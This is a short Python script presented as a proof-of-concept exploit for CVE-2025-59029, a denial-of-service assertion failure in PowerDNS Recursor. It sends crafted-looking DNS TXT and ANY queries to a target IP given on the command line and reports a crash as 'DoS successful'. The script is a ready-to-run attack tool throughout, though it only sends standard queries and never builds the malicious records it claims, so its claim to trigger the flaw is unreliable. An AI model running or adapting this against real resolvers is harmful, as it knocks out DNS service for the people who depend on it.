# CVE-2025-59029 PoC - PowerDNS Recursor Assertion Failure
# This PoC demonstrates triggering assertion failure via crafted DNS records
import socket
import struct
import random
import time
def build_dns_query(qname, qtype='ANY'):
"""Build a DNS query packet"""
# Transaction ID
txid = random.randint(0, 65535)
# Flags: standard query
flags = 0x0100
# Questions: 1
qdcount = 1
# Answer/Authority/Additional: 0
ancount = 0
nsccount = 0
arcount = 0
# Build header
header = struct.pack('>HHHHHH', txid, flags, qdcount, ancount, nsccount, arcount)
# Build question section
labels = qname.split('.')
qsection = b''
for label in labels:
qsection += struct.pack('B', len(label)) + label.encode()
qsection += b'\x00' # End of domain name
# Qtype mapping
qtype_map = {'A': 1, 'AAAA': 28, 'ANY': 255, 'TXT': 16, 'MX': 15}
qtype_val = qtype_map.get(qtype, 255)
# Qclass: IN (1)
qsection += struct.pack('>HH', qtype_val, 1)
return header + qsection
def send_dns_query(target_ip, target_port, qname, qtype='ANY'):
"""Send DNS query and receive response"""
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(5)
query = build_dns_query(qname, qtype)
try:
sock.sendto(query, (target_ip, target_port))
response, addr = sock.recvfrom(512)
return response
except socket.timeout:
return None
finally:
sock.close()
def exploit_cve_2025_59029(target_ip, target_port=53):
"""
Exploit CVE-2025-59029: PowerDNS Recursor Assertion Failure
Attack flow:
1. Inject crafted DNS records into cache
2. Wait for cache insertion
3. Send ANY query to trigger assertion failure
"""
print(f"[*] Targeting PowerDNS Recursor at {target_ip}:{target_port}")
print(f"[*] CVE-2025-59029: Assertion failure via crafted DNS records")
# Target domain (should be configured for the target environment)
target_domain = "vulnerable-record.example.com"
# Step 1: Query to cache crafted records (if we have control over zone)
print(f"[+] Step 1: Querying records for {target_domain}")
send_dns_query(target_ip, target_port, target_domain, 'TXT')
# Wait for cache insertion
time.sleep(1)
# Step 2: Send ANY query to trigger assertion failure
print(f"[+] Step 2: Sending ANY query to trigger assertion failure")
response = send_dns_query(target_ip, target_port, target_domain, 'ANY')
if response:
print(f"[!] Response received - assertion may not have triggered")
print(f"[+] Response length: {len(response)} bytes")
else:
print(f"[!] No response - assertion failure may have occurred (DoS successful)")
return True
if __name__ == "__main__":
import sys
if len(sys.argv) < 2:
print("Usage: python cve_2025_59029_poc.py <target_ip> [port]")
sys.exit(1)
target = sys.argv[1]
port = int(sys.argv[2]) if len(sys.argv) > 2 else 53
exploit_cve_2025_59029(target, port)